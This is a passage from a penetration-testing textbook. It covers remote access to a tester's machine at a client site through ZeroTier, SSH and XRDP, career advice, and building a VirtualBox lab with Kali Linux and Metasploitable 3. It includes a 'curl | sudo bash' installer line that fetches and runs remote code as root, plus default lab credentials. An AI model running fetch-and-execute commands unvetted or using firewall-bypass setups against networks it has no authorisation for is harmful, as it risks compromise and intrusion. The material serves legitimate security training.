chine should have a dedicated Graphics Processing Unit (GPU) to leverage the GPU features 
of Hashcat.

• If your password-cracking machine is running Microsoft Windows as the host operating system, 
install and use Hashcat on the host operating system. This enables Hashcat to directly access 
the power of the GPU during password cracking.

• Use a hypervisor such as VMware Workstation Pro and install Kali Linux as a virtual machine. 
In my personal experience, VMware Workstation Pro provides direct access to the hardware 
resources on the host machine as compared to other hypervisors, such as Oracle VM Virtu-
alBox and Microsoft’s Hyper-V, and this is a major benefit when working with virtualization 
technologies. 

To learn more about the Flipper Zero, please see https://flipperzero.one/.

https://flipperzero.one/
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For instance, when connecting wireless adapters to a virtual machine, the process is seamless 
compared to the other hypervisor applications. Using a virtual machine helps manage your 
snapshots and provides better flexibility for running multiple operating systems on the same 
physical computer. However, you also have the choice of running Kali Linux on a bare-metal 
setup on a dedicated laptop or mini computer with remote access.

• Ensure you have one or more wireless network adapters that support packet injection and 
are compatible with your host operating system and Kali Linux. Also, ensure these wireless 
adapters operate on the 2.4 GHz and 5 GHz spectrum.

• Configure a VPN to securely access your penetration tester’s machine at the client’s location 
from your local office/home.

In this section, you will learn how to set up a host-to-host network service that utilizes features such as 
VPN and Software-Defined Networking (SDN) to ensure you have full end-to-end connectivity between 
your devices without having to configure your firewall or routing settings. During this exercise, you 
will learn how to use ZeroTier (www.zerotier.com) to establish secure network connectivity between 
your penetration testing machine at your client’s location and your computer at your office or home.

The following diagram provides a visual representation of a penetration tester’s machine at a client’s 
location with the actual penetration tester working remotely.

Figure 18.9: Remote access topology

As shown in the preceding diagram, the penetration tester’s machine is deployed at a client’s location. 
It is usually behind multiple network devices and security solutions, such as switches, routers, and fire-
walls. This creates a challenge for the penetration tester to work remotely because the network-based 
firewall at the client’s location will usually block the connection.

However, ZeroTier enables users to create a virtual network with up to 25 devices within a single virtual 
network on their platform; therefore, you can add both your penetration tester’s machines and another 
computer, or more. Additionally, ZeroTier is considered to be a push-through VPN service that finds 
ways to metaphorically punch through a firewall and connect to the ZeroTier servers on the internet. 
Since this is possible with ZeroTier, you can use this to access any device on any network when an 
internet connection is available on systems that are running the ZeroTier agent on system boot/startup.

http://www.zerotier.com
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To get started setting up ZeroTier, please use the following instructions as your guide:

1. Firstly, go to the official ZeroTier website at https://www.zerotier.com/ and click on Sign 
Up to register for a free account.

2. Next, using your newly created user credentials, log in to the user dashboard at https://
my.zerotier.com/.

3. To create a new network on ZeroTier, click on Networks > Create A Network, as shown in the 
following screenshot:

Figure 18.10: ZeroTier dashboard

4. Next, ZeroTier will generate a new network with a random NETWORK ID and NAME; click on 
the name of the newly created network ID to access its settings, as shown below:

Figure 18.11: New ZeroTier network

I would recommend changing the name of the network to something that helps you better un-
derstand the purpose of the network. Additionally, setting a description is also very beneficial.

5. Next, install the ZeroTier client on the host operating system of your computer at your office 
location. This computer will be used to remotely access the penetration tester’s machine at 
the client’s location. Go to the following ZeroTier downloads page to download and install the 
agent: https://www.zerotier.com/download/.

6. Once the ZeroTier agent is installed on your computer, launch the application. Once it is run-
ning, the ZeroTier agent icon will appear on the taskbar; right-click on the agent, select Join 
New Network, enter the 16-digit network ID, and click on Join.

https://www.zerotier.com/
https://my.zerotier.com/
https://my.zerotier.com/
https://www.zerotier.com/download/
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7. Next, head back to the ZeroTier dashboard of your network settings. Scroll down to the Mem-
bers section and you will notice your new client will soon appear. By default, a client’s request 
to join the network has to be manually approved by the creator of the network/account. To 
authorize the client, click on the checkbox under Auth?, as shown in the following screenshot:

Figure 18.12: New client

Ensure you set a name and description for each approved agent on the ZeroTier network. The 
naming convention will help you to identify devices, roles, and IP addresses on the ZeroTier 
network.

8. After a few seconds, ZeroTier servers will automatically assign a private IPv4 address to the 
newly approved agent, which will be accessible by any device within the same ZeroTier virtual 
network, as shown below:

Figure 18.13: Managed IP address

Join more devices, such as the penetration testing laptop or mini computer, to the same net-
work so that they can directly connect to each other via the private IPv4 address assigned by 
ZeroTier to the client device.

9. Next, if your penetration testing laptop is running Microsoft Windows as the host operating 
system, use the following link, which contains the official documentation on how to enable 
Remote Desktop on supported versions of Windows: https://www.microsoft.com/en-us/
windows/learning-center/use-windows-remote-desktop-to-access-pc.

https://www.microsoft.com/en-us/windows/learning-center/use-windows-remote-desktop-to-access-pc
https://www.microsoft.com/en-us/windows/learning-center/use-windows-remote-desktop-to-access-pc
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10. Lastly, ensure the ZeroTier agent is configured to automatically run as a service when your 
penetration testing machine boots. This allows you to ship/send your penetration testing ma-
chine to your customer and simply inform them to power on and connect it to their network. 
The ZeroTier VPN and SDN service will automatically connect the ZeroTier servers, and you 
will be able to see whether the device is online or not via the ZeroTier dashboard. Using an-
other computer on the same ZeroTier network, you can have secure end-to-end connectivity.

You may be wondering whether to set up ZeroTier on the Kali Linux virtual machine too. This is a 
personal choice based on your preference and how you plan on using both your penetration testing 
machine and Kali Linux during a real penetration test. You can add both the host operating system 
and Kali Linux on your penetration testing machine if you wish, as ZeroTier currently supports up to 
25 devices on a single ZeroTier account.

Ensure you change the default passwords on Kali Linux and enable SSH if you are going to be remotely 
accessing your Kali Linux virtual machine. The following are additional useful commands:

• Start the SSH service – sudo systemctl start ssh.service 
• Restart the SSH service – sudo systemctl restart ssh.service 
• Stop the SSH service – sudo systemctl stop ssh.service
• Automatically start the SSH service when Kali Linux boots – sudo systemctl enable ssh.

service 

To install and set up the ZeroTier agent on Kali Linux, please use the following instructions:

1. Update the software package repository file and install the libssl3 package:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install libssl3

2. Restart Kali Linux.
3. Next, use the following commands to get the ZeroTier agent to install:

kali@kali:~$ DV_SAVE=$(cat /etc/debian_version)
kali@kali:~$ echo testing | sudo tee /etc/debian_version >/dev/null
kali@kali:~$ curl -s https://install.zerotier.com | sudo bash
kali@kali:~$ echo $DV_SAVE | sudo tee /etc/debian_version >/dev/null

4. Next, use the following commands to join the agent with your ZeroTier network:

kali@kali:~$ sudo zerotier-cli join <netowkr-ID>

Credit to Airman (https://airman604.medium.com/about) for their work-
around using the commands in step 3. A direct link to the blog post can be found 
here: https://airman604.medium.com/install-zerotier-on-kali-linux-
ed7bd76845c0.

https://airman604.medium.com/about
https://airman604.medium.com/install-zerotier-on-kali-linux-ed7bd76845c0
https://airman604.medium.com/install-zerotier-on-kali-linux-ed7bd76845c0
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5. Lastly, ensure you authorize the Kali Linux ZeroTier agent via the ZeroTier dashboard, as 
shown below:

Figure 18.14: ZeroTier agents

Sometimes, a Graphical User Interface (GUI) is more convenient to use rather a Command-Line 
Interface (CLI) on Kali Linux. While SSH is commonly used by IT and cybersecurity professionals 
within the industry, it would be nice to use the GUI of Kali Linux over a remote session. Unfortunately, 
Linux-based operating systems do not natively support RDP, as it’s a Microsoft application. However, 
XRDP was created for Linux-based systems, which enables IT professionals to establish remote desktop 
sessions similarly to using RDP on Microsoft Windows.

To set up XRDP on Kali Linux, please use the following commands:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install -y kali-desktop-xfce xorg xrdp
kali@kali:~$ sudo sed -i 's/port=3389/port=3390/g' /etc/xrdp/xrdp.ini
kali@kali:~$ sudo systemctl enable xrdp --now

At this point, you have set up a host-to-host VPN between your Kali Linux virtual machine, the pene-
tration tester’s machine, and your work computer at your office. In addition, you have automatically 
enabled SSH to run each time Kali Linux boots up and have installed and set up XRDP for remote 
desktop access.

Having completed this section, you have gained the skills to set up secure remote access to your 
penetration testing machine. In the next section, you will see some recommendations on how to 
continuously enhance your skills.

To learn more about the ZeroTier CLI, use the man zerotier-cli command to 
view the manual page.

To learn how to access Kali Linux via a web browser, please see https://www.kali.org/
docs/general-use/. Check out the Kali Linux Undercover mode: https://www.kali.
org/docs/introduction/kali-undercover/.

https://www.kali.org/docs/general-use/
https://www.kali.org/docs/general-use/
https://www.kali.org/docs/introduction/kali-undercover/
https://www.kali.org/docs/introduction/kali-undercover/
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Next steps ahead
Never stop learning – there’s always something new to learn within the cybersecurity industry. If you 
want to further your learning and skills, take a look at the following online resources:

• TryHackMe: https://tryhackme.com/
• Hack The Box: https://www.hackthebox.com/
• RangeForce Community Edition: https://go.rangeforce.com/community-edition-

registration

Both TryHackMe and Hack The Box are online platforms that help everyone, from beginners to sea-
soned professionals, gain new skills in various fields of cybersecurity. Both platforms allow learners 
to complete challenges in a gamified environment to earn rewards. Participating and growing your 
profile on either platform can be used as part of your portfolio when applying for jobs within the 
cybersecurity industry.

At the time of writing this chapter, RangeForce Community Edition is currently free for anyone to reg-
ister and complete various cybersecurity blue team learning paths. As an aspiring ethical hacker and 
penetration tester, understanding the blue team side of cybersecurity will help you gain insight into 
the tools, technologies, and strategies that are commonly used to detect and mitigate cyber-attacks 
within organizations.

While there are many cybersecurity qualifications from various educational and academic organiza-
tions, be sure to perform research on the learning objectives for each qualification before enrolling, 
ensuring it aligns with enhancing your skills and knowledge while helping you achieve your goals as 
a cybersecurity professional. If you’re still not sure which qualification to pursue next, research some 
career paths and jobs in cybersecurity using the following websites:

• LinkedIn Jobs: https://www.linkedin.com/jobs
• Indeed: https://www.indeed.com/

For each interesting job title you find, take a look at the description to better understand whether it’s 
something you would like to do as a professional; also take a close look at the preferred qualifications 
and skills required for the job. This information will be helpful in understanding what is expected 
from a professional who is applying for the job role.

Lastly, create a LinkedIn profile and start creating your personal brand while networking with like-mind-
ed professionals within the industry. You will learn a lot from your connections; start sharing knowl-
edge with others and you will notice a lot of people will begin networking with you too. If you see an 
interesting job posted on LinkedIn, don’t be afraid to connect with the job poster and ask questions 
about the job. Building a personal brand may seem to be a lot of work, but it’s simply demonstrating 
your skills to the world and standing out from the crowd while showing others you are different in a 
positive way.

https://tryhackme.com/
https://www.hackthebox.com/
https://go.rangeforce.com/community-edition-registration
https://go.rangeforce.com/community-edition-registration
https://www.linkedin.com/jobs
https://in.indeed.com/?r=us
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Summary
During the course of this chapter, you have learned about various guidelines that will help you to 
become a better ethical hacker and penetration tester, and you have also discovered some of the key 
components of creating a penetration testing checklist, some fun tools for creating a hacker’s tool bag, 
and how to securely access your Kali Linux machine while performing penetration testing remotely.

Lastly, I know the journey of preparing to be an ethical hacker and penetration tester isn’t an easy one 
and there are many challenges along the path on the road to success. I would personally like to thank 
you very much for your support in purchasing a copy of my book and congratulations on making it 
to the end while acquiring all these amazing new skills in ethical hacking and penetration testing 
techniques and strategies using Kali Linux. I do hope everything you have learned throughout this 
book has been informative for you and helpful in your journey to becoming super-awesome in the 
cybersecurity industry and beyond.

Further reading
• Master Services Agreement – https://www.rapid7.com/legal/msa/
• Rules of engagement – https://hub.packtpub.com/penetration-testing-rules-of-

engagement/

• Penetration testing methodologies – https://wiki.owasp.org/index.php/Penetration_
testing_methodologies

• OWASP testing checklist – https://github.com/tanprathan/OWASP-Testing-Checklist
• PayloadsAllTheThings – https://github.com/swisskyrepo/PayloadsAllTheThings

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://www.rapid7.com/legal/msa/
https://hub.packtpub.com/penetration-testing-rules-of-engagement/
https://hub.packtpub.com/penetration-testing-rules-of-engagement/
https://wiki.owasp.org/index.php/Penetration_testing_methodologies
https://wiki.owasp.org/index.php/Penetration_testing_methodologies
https://github.com/tanprathan/OWASP-Testing-Checklist
https://github.com/swisskyrepo/PayloadsAllTheThings
https://packt.link/SecNet
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Setting Up a Penetration Testing Lab on Ubuntu Desktop
In this chapter, you will learn how to design and build a virtualized penetration testing lab environment 
on an Ubuntu Desktop computer and leverage virtualization technologies to reduce the cost and need 
to acquire multiple physical systems and devices. 

In addition, you’ll learn how to set up virtually isolated networks to ensure you do not accidentally 
target systems you do not own. Furthermore, you will set up Kali Linux as the attacker machine and 
Metasploitable 3 as a vulnerable system for your targets. It’s important to always remember that when 
practicing offensive security skills such as ethical hacking and penetration testing, it should always be 
performed on systems and networks you own, as these security tests are usually intrusive and have 
the potential to cause damage to systems.

Keep in mind that you’ll need to review Chapter 2, Building a Penetration Testing Lab, and Chapter 3, 
Setting Up for Advanced Penetration Testing Techniques, to complete the lab build.

In this chapter, we will cover the following topics:

• Setting up a hypervisor and virtual networks
• Setting up Kali Linux on Ubuntu
• Setting up Metasploitable 3 on Ubuntu

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Oracle VM VirtualBox – https://www.virtualbox.org/wiki/Downloads  
• Oracle VM VirtualBox Extension Pack – https://www.virtualbox.org/wiki/Downloads 
• Kali Linux – https://www.kali.org/get-kali/  
• Vagrant – https://www.vagrantup.com/  
• Metasploitable 3 (Windows and Linux) – https://app.vagrantup.com/rapid7  

An overview of the lab setup and technologies used
The concept of creating your very own virtualized penetration testing lab allows you to maximize the 
computing resources on your existing computer, without the need to purchase online lab time from 
various service providers or even buy additional computers and devices. Overall, you’ll be saving a 
lot of money as opposed to buying physical computers and networking equipment such as routers 
and switches.

https://www.virtualbox.org/wiki/Downloads 
https://www.virtualbox.org/wiki/Downloads  
https://www.kali.org/get-kali/
https://www.vagrantup.com/
https://app.vagrantup.com/rapid7
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As a cybersecurity lecturer and professional, I have noticed that many people who are starting their 
journeys in the field of Information Technology (IT) usually think that a physical lab infrastructure 
is needed due to their field of study. To some extent, this is true, but as technology advances, building 
a physical lab to practice your skills has many downsides associated with it. 

The following are some of the disadvantages of a physical lab:

• Physical space is required to store the servers and networking appliances that are needed.
• The power consumption per device will result in an overall high rate of financial expenditure.
• The cost of building/purchasing each physical device is high, whether it’s a network appliance 

or a server.

These are just some of the concerns many students and aspiring IT professionals have. In many cases, 
a beginner usually has a single computer such as a desktop or a laptop computer. Being able to use 
the virtualization technologies that have emerged as a response to these downsides has opened a 
multitude of doors in the field of IT. This has enabled many people and organizations to optimize and 
manage their hardware resources more efficiently.

In the world of virtualization, a hypervisor is a special application that allows a user to virtualize op-
erating systems and utilizes the hardware resources on their system so that these hardware resources 
can be shared with another virtualized operating system or an application. This allows you to install 
more than one operating system on top of your existing computer’s operating system. Imagine that 
you are running Microsoft Windows 11 as your main operating system (commonly referred to as the 
host operating system), but you wish to run a Linux-based operating system at the same time on the 
same computer. You can achieve this by using a hypervisor. Hence, we are going to use virtualization 
to ensure we can build a cost-effective penetration testing lab environment.

When designing a penetration testing lab environment, we’ll need the following components:

• Hypervisor – The hypervisor is an application that enables us to virtualize operating systems 
and run them on any hardware. We can use a hypervisor to create multiple virtual machines 
that can run simultaneously on our computer. There are many hypervisor applications; we’ll 
be using Oracle VM VirtualBox as our preferred application because it’s free and easy to use.

• Attacker machine – The attacker machine will be used to create and launch various types of 
cyber-attacks and threats to identify and exploit security vulnerabilities on targeted systems. 
For the attacker machine, we’ll be using Kali Linux.

• Vulnerable machines – Without any vulnerable systems, our lab environment will not be 
complete. We’ll set up vulnerable systems such as Metasploitable 2, which is a Linux-based 
operating system with hosted web applications, and Metasploitable 3 with its Windows- and 
Linux-based server versions. In addition, there will be a Windows Server with two Windows 
client machines for learning security vulnerabilities in Microsoft authentication systems.

• Vulnerable web application – This will help you better understand how threat actors are able 
to discover and exploit security weaknesses within web applications. We’ll set up the Open 
Web Application Security Project (OWASP) Juice Shop web application on Kali Linux using a 
Docker container.
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• Internet access – Internet connectivity will be set up on the Kali Linux virtual machine. This 
will be for the convenience of easily downloading additional applications, tools, and software 
packages.

The following diagram shows the network topology for our virtualized penetration testing lab envi-
ronment:

Figure 19.1: High-level network topology

As shown in the preceding diagram, there are four network zones. These are:

• The internet for accessing online resources and is directly connected to the Kali Linux virtual 
machine.

• The PentestNet environment, which contains two vulnerable machines that are on the 
172.30.1.0/24 network, and is also directly connected to Kali Linux.

• The RedTeamLab environment, which contains an Active Directory (AD) infrastructure with 
a Windows Server and two clients that are on the 192.168.42.0/24 network, and is directly 
connected to Kali Linux.

• The HiddenNet environment, which contains a single vulnerable host, that is, the Metasploitable 
3 – Linux-based machine on the 10.11.12.0/24 network and is reachable via the PentestNet 
network only. Therefore, we’ll need to compromise a host on the PentestNet environment 
and determine whether there’s a way to pivot our attacks.
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The following diagram provides more technical details to gain a better understanding of where specific 
IP networks are assigned in our lab environment: 

Figure 19.2: Low-level network topology

As shown in the preceding diagram, the Kali Linux virtual machine will be assigned three network 
adapters, which are commonly referred to as virtual Network Interface Cards (vNICs) on hypervisors. 
These vNICs enable us to access the following:

• The internet using a bridged connection
• The PentestNet environment on 172.30.1.0/24
• The RedTeamLab environment on 192.168.42.0/24

This lab design is perfect for learning how to perform lateral movement between systems, pivoting 
from one network to another, and compromising an AD environment.

Now that you have an idea of the virtual lab environment, as well as the systems and technologies that 
we are going to be working with throughout this book, let’s get started with setting up the hypervisor 
and virtual networks next.

Setting up a hypervisor and virtual networks
There are many hypervisors from various vendors in the information technology industry. However, 
Oracle VM VirtualBox is a free and simple-to-use hypervisor that has all the same essential features 
as commercial (paid) products. In this section, you will learn how to set up Oracle VM VirtualBox and 
create virtual networks on your computer.

Before getting started, the following are important factors and requirements:

• Ensure the computer’s processor supports virtualization features such as VT-x/AMD-V.
• Ensure the virtualization feature is enabled on your processor via the BIOS/UEFI.

If you’re unsure of how to access the BIOS/UEFI on your computer, please check the manual 
of the device or the vendor’s website for specific instructions.
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To get started with this exercise, please use the following instructions:

1. Open Terminal within Ubuntu Desktop and use the following commands to install Oracle 
VirtualBox and its extension pack:

glen@ubuntu:~$ sudo apt update 
glen@ubuntu:~$ sudo apt install virtualbox virtualbox-ext-pack 

2. Next, use the following commands to create the virtually isolated network using VBoxManage 
from VirtualBox:

glen@ubuntu:~$ cd /usr/bin/
glen@ubuntu:/usr/bin$ VBoxManage dhcpserver add --netname PentestNet 
--ip 172.30.1.1 --netmask 255.255.255.0 --lowerip 172.30.1.20 --upperip 
172.30.1.50 --enable 
glen@ubuntu:/usr/bin$ VBoxManage dhcpserver add --netname HiddenNet 
--ip 10.11.12.1 --netmask 255.255.255.0 --lowerip 10.11.12.20 --upperip 
10.11.12.50 --enable 
glen@ubuntu:/usr/bin$ VBoxManage dhcpserver add --netname RedTeamLab --ip 
192.168.42.1 --netmask 255.255.255.0 --lowerip 192.168.42.20 --upperip 
192.168.42.50 --set-opt=6 192.168.42.40 --enable

The following screenshot shows the execution of the preceding commands:

Figure 19.3: Creating virtual networks

Setting up Kali Linux on Ubuntu
1. Open the web browser within Ubuntu, go to https://www.kali.org/get-kali/, and down-

load the VirtualBox version of Kali Linux. Ensure the downloaded file is saved within your 
Downloads directory.

2. After the download is completed, use the following command to install 7-Zip, an application 
to unzip compressed files (Kali Linux):

glen@ubuntu:~$ sudo apt install p7zip-full 

3. Next, use the following commands to change the work directory to the Downloads folder and 
unzip the file:

glen@ubuntu:~$ cd Downloads/
glen@ubuntu:~/Downloads$ 7z x kali-linux-2024.1-virtualbox-amd64.7z

https://www.kali.org/get-kali/
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As shown in the following screenshot, 7-Zip is uncompressing the file and extracting its contents:

Figure 19.4: Extracting file contents

4. Next, on Ubuntu Desktop, open the applications menu and click on VirtualBox.
5. When VirtualBox opens, click on Add, as shown below:

Figure 19.5: VirtualBox

6. Next, the Select a virtual machine file window will appear. Navigate to the Downloads fold-
er, then into the extracted kali-linux-2024.1-virtualbox-amd64 folder, and select the kali-li-
nux-2024.1-virtualbox-amd64.vbox file and click on Open, as shown below:

Figure 19.6: Importing Kali Linux
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7. On VirtualBox, select the newly imported Kali Linux virtual machine and click on Settings, 
as shown below:

Figure 19.7: Kali Linux virtual machine.

8. Within the Settings menu of Kali Linux, select Network | Adapter 1 and use the following 
configurations:

• Enable the network adapter.
• Attached to: Bridged Adapter.
• Name: Use the drop-down menu to select the physical network adapter that’s connected 

to your physical network with internet access.

The following screenshot shows the preceding configurations applied to Adapter 1 (vNIC 1):

Figure 19.8: Network Adapter 1
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9. Next, let’s assign Adapter 2 (vNIC 2) to the PentestNet network. Select the Adapter 2 tab and 
use the following configurations:

• Enable the network adapter.
• Attached to: Internal Network.
• Name: Manually enter PentestNet within the field.
• Promiscuous Mode: Allow All.

The following screenshot shows the preceding configurations applied to Adapter 2 (vNIC 2):

Figure 19.9: Network Adapter 2

10. Lastly, let’s assign Adapter 3 (vNIC 3) to the RedTeamLab network. Select the Adapter 3 tab and 
use the following configurations:

• Enable the network adapter.
• Attached to: Internal Network.
• Name: Manually enter RedTeamLab within the field.
• Promiscuous Mode: Allow All.

Enabling promiscuous mode on a network interface enables the Kali Linux ma-
chine to capture and process all the packets that the interface receives. This is 
good for performing packet capturing and analysis.



Appendix 775

The following screenshot shows the preceding configurations applied to Adapter 3 (vNIC 3):

Figure 19.10: Network Adapter 3

After configuring the network settings on Adapter 3, disable it by un-checking Enable Network Adapter 
and click on OK to save the settings of the Kali Linux virtual machine. We will re-enable Adapter 3 
when it’s needed in various chapters of this book.

Setting up Metasploitable 3 on Ubuntu
In this section, you will learn how to build and deploy Metasploitable 3 (both the Windows Serv-
er and Linux server versions) on Ubuntu Desktop. The Windows Server version will be using a du-
al-homed network connection to both the PentestNet network (172.30.1.0/24) and the HiddenNet 
network (10.11.12.0/24). This setup will enable us to perform pivoting and lateral movement between 
different networks. Finally, the Linux server version will be connected to the HiddenNet network 
(10.11.12.0/24) only.
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The following diagram shows the logical connections between systems and networks:

Figure 19.11: Low-level diagram

As shown in the preceding diagram, this topology goes into more depth on how the virtual machines 
are interconnected within our virtual lab environment. For instance, to access the Metasploitable 
3 – Linux version, we will need to first compromise the Metasploitable 3 – Windows version via the 
PentestNet network, then pivot our attacks to the HiddenNet network.

Part 1 – building the Windows Server version
To get started with building and deploying the Metasploitable 3 – Windows version, please use the 
following instructions:

1. Open Terminal on Ubuntu Desktop and use the following commands to install and set up 
Vagrant:

glen@ubuntu:~$ cd Downloads/
glen@ubuntu:~/Downloads$ wget -O- https://apt.releases.hashicorp.com/gpg 
| sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg
glen@ubuntu:~/Downloads$ echo "deb [signed-by=/usr/share/keyrings/
hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_
release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list 
glen@ubuntu:~/Downloads$ sudo apt update && sudo apt install vagrant

2. Next, use the following commands to reload and install additional plugins for Vagrant:

glen@ubuntu:~/Downloads$ vagrant plugin install vagrant-reload 
glen@ubuntu:~/Downloads$ vagrant plugin install vagrant-vbguest
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The following screenshot shows the execution of the preceding commands:

Figure 19.12: Reloading Vagrant plugins

3. Next, use the following commands to load the Metasploitable 3 – Windows Server version onto 
your Ubuntu machine using Vagrant:

glen@ubuntu:~/Downloads$ vagrant box add rapid7/metasploitable3-win2k8

4. Next, select option 1 to use VirtualBox as the preferred hypervisor, as shown below:

Figure 19.13: Reloading Vagrant plugins

5. Once the download process is completed, use the following commands to rename the rapid7-
VAGRANTSLASH-metasploitable3-win2k8 folder:

glen@ubuntu:~/Downloads$ cd ~/.vagrant.d/boxes 
glen@ubuntu:~/.vagrant.d/boxes$ mv rapid7-VAGRANTSLASH-metasploitable3-
win2k8 metasploitable3-win2k8

The following screenshot shows the successful execution of the preceding commands:

Figure 19.14: Initializing the Metasploitable 3 image
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6. Next, use the following commands to start the build process of this virtual machine:

glen@ubuntu:~/.vagrant.d/boxes$ vagrant init metasploitable3-win2k8
glen@ubuntu:~/.vagrant.d/boxes$ vagrant up

The following screenshot shows the execution of the preceding commands:

Figure 19.15: Building a Metasploitable 3 VM

This process usually takes a few minutes to complete.

7. After the process is completed, open VirtualBox. You will find a newly created virtual machine 
running as shown below:

Figure 19.16: VirtualBox with the Metasploitable 3 VM

8. Select the Metasploitable 3 – Windows virtual machine and click on Show to detect it from 
VirtualBox Manager.
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9. Once the virtual machine is detached, on the virtual machine menu bar, click on Input | Key-
board | Insert Ctrl-Alt-Del, as shown in the following screenshot:

Figure 19.17: Input menu on VirtualBox
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10. Select the Administrator account and use the default password, vagrant, to log in, as shown 
below:

Figure 19.18: Login screen

11. Log in to the server and shut it down.
12. Once the Metasploitable 3 – Windows virtual machine is powered off, select the virtual machine 

and click on Settings as shown below:

Figure 19.19: VirtualBox Manager
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13. On the General category | Basic tab, change the default name of the virtual machine as shown 
below:

Figure 19.20: Virtual machine name

14. Next, select Network | Adapter 1 and use the following configurations:

• Enable the network adapter.
• Attached to: Internal Network.
• Name: Manually enter PentestNet within the field.
• Promiscuous Mode: Allow All.

The following screenshot shows the preceding configurations applied to Adapter 1:
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Figure 19.21: Network adapter 1

15. Next, select Network | Adapter 2, use the following configurations, and click on Save:

• Enable the network adapter.
• Attached to: Internal Network.
• Name: Manually enter HiddenNet within the field.
• Promiscuous Mode: Allow All.

The following screenshot shows the preceding configurations applied to Adapter 2:

Figure 19.22: Network adapter 2
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16. Next, power on the Metasploitable 3 – Windows virtual machine and log in using the Admin-
istrator account. When logged in, open the Windows Command Prompt and use the ipconfig 
command to verify this virtual machine is receiving IP addresses from the 172.30.1.0/24 and 
10.11.12.0/24 networks, as shown below:

Figure 19.23: Network Adapters

17. Lastly, power off the virtual machine.

Part 2 – building the Linux Server version
To get started with building and deploying Metasploitable 3 – Linux version, please use the following 
instructions:

1. On Ubuntu, open Terminal and use the following commands to download the Vagrant image 
for Metasploitable 3 – Linux version:

glen@ubuntu:~$ cd ~/.vagrant.d/boxes
glen@ubuntu:~/.vagrant.d/boxes$ vagrant box add rapid7/metasploitable3-
ub1404
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2. When you’re prompted to choose a provider, select option 1, as shown below:

Figure 19.24: Downloading Linux version

3. Next, delete the Vagrantfile by using the following commands:

glen@ubuntu:~/.vagrant.d/boxes$ rm Vagrantfile 

The following screenshot shows the execution of the preceding commands:

Figure 19.25: Removing the Vagrant file

4. Next, rename the rapid7-VAGRANTSLASH-metasploitable3-ub1404 folder to metasploitable3-
ub1404 and start the initialization process for creating the virtual machine:

glen@ubuntu:~/.vagrant.d/boxes$ mv rapid7-VAGRANTSLASH-metasploitable3-
ub1404 metasploitable3-ub1404 
glen@ubuntu:~/.vagrant.d/boxes$ vagrant init metasploitable3-ub1404

The following screenshot shows the preceding commands executed successfully:

Figure 19.26: Starting the initialize process

5. Next, open File Explorer on Ubuntu Desktop and go to the /home/<username>/.vagrant.d/
boxes/metasploitable3-ub1404/0.1.12-weekly/virtualbox directory, then right-click on 
the box.ovf file and select Open With Other Application:
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Figure 19.27: Virtual machine fines

6. On the Select Application window, click on View All Application and select VirtualBox. The 
following import window will appear. Click on Import:

Figure 19.28: Virtual machine import window



Appendix786

7. Once the import process is completed, the Metasploitable 3 – Linux virtual machine will appear 
in the VirtualBox manager. Select it and click on Settings, as shown below:

Figure 19.29: VirtualBox interface

8. Next, select Network | Adapter 1 and use the following configurations:

• Enable the network adapter.
• Attached to: Internal Network.
• Name: Manually enter HiddenNet within the field.
• Promiscuous Mode: Allow All.

The following screenshot shows the preceding configurations applied to Adapter 1:

Figure 19.30: Network interface

9. Click on OK to save the settings.
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10. Power on the Metasploitable 3 – Linux virtual machine and log in using the username vagrant 
and the password vagrant as shown below:

Figure 19.31: Metasploitable 3 interface

11. Next, use the ip address command to verify the virtual machine is receiving an IP address 
on the 10.11.12.0/24 network, as shown below:

Figure 19.32: Metasploitable 3 network interface
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12. Lastly, you can use the sudo halt command to power off the virtual machine.

Summary
This chapter covered how to set up a hypervisor, create virtual networks, and deploy Kali Linux and 
Metasploitable 3 in the lab environment. It’s important to refer to Chapter 2, Building a Penetration Testing 
Lab, and Chapter 3, Setting Up for Advanced Penetration Testing Techniques, to continue building the lab.
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